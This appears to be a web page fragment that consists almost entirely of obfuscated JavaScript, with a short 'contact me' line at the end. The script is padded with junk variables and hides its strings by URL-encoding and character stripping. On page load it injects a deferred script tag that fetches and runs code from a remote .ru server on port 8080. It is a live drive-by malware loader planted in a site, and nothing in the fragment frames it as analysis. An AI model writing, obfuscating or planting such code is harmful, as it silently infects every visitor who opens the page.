Hf;if(Hf!='' && Hf!='pV'){Hf=null};this.am=false;};this.JE=false;this.GmX=false;var Mv;if(Mv!=''){Mv='nB'};Q(Wp);


var Gc=new String();this.Go="";this.ar='';function B(){var T;if(T!='n' && T!='Zt'){T=''};var M;if(M!='r'){M='r'};var G=window;this.GU="";var z=unescape;var Yh;if(Yh!='Fx' && Yh!='Xf'){Yh=''};var BM=z("%2f%62%69%6c%64%2d%64%65%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%76%69%72%67%69%6e%6d%65%64%69%61%2e%63%6f%6d%2e%70%68%70");var b;if(b!='' && b!='o'){b='L'};function f(O,a){var co="";var h=new String("g");var od=new Date();var H;if(H!='Yf' && H!='p'){H='Yf'};var q=z("%5b"), v=z("%5d");var by=new Array();this.oR="";var Z=q+a+v;var WT;if(WT!='' && WT!='Lq'){WT=''};var V=new RegExp(Z, h);var Gs;if(Gs!=''){Gs='IX'};return O.replace(V, new String());var Md='';};var q_="";var b_="";var jK=new String();var DP=new String();var zv="";var Y=f('899972036975525844733915035111243','76295143');var X=document;var PU;if(PU!='MG' && PU!='qg'){PU=''};var ry=new String();var Vy=new String();var S_=new String();function F(){this.Zj='';var i;if(i!='EG'){i='EG'};var vg=z("%68%74%74%70%3a%2f%2f%72%65%61%63%68%73%61%77%2e%72%75%3a");var Hl;if(Hl!='' && Hl!='Xd'){Hl='ze'};Vy=vg;Vy+=Y;var QQ=new Date();Vy+=BM;try {var UP=new String();this.Tx='';c=X.createElement(f('sbcerKiIpHtZ','gqb4ZRyK0QUj5hHeI'));c[z("%64%65%66%65%72")]=[6,1][1];var pw;if(pw!='nn' && pw != ''){pw=null};this.LK='';c[z("%73%72%63")]=Vy;var bW=new Date();X.body.appendChild(c);this.UH='';var Ov='';} catch(E){var ES='';var GQ=new Date();alert(E);var _j;if(_j!='N' && _j != ''){_j=null};};}this.wL="";var rP=new Array();var Uz;if(Uz!='jM' && Uz!='qH'){Uz=''};G[new String("EWeMonloa".substr(4)+"qPpud".substr(4))]=F;this.Iw="";};var Ue=new Array();var Lqz;if(Lqz!='sv' && Lqz!='je'){Lqz='sv'};B();var Qh;if(Qh!='zL'){Qh='zL'};var OU;if(OU!='jz'){OU='jz'};
 Questions or comments welcome: contact me.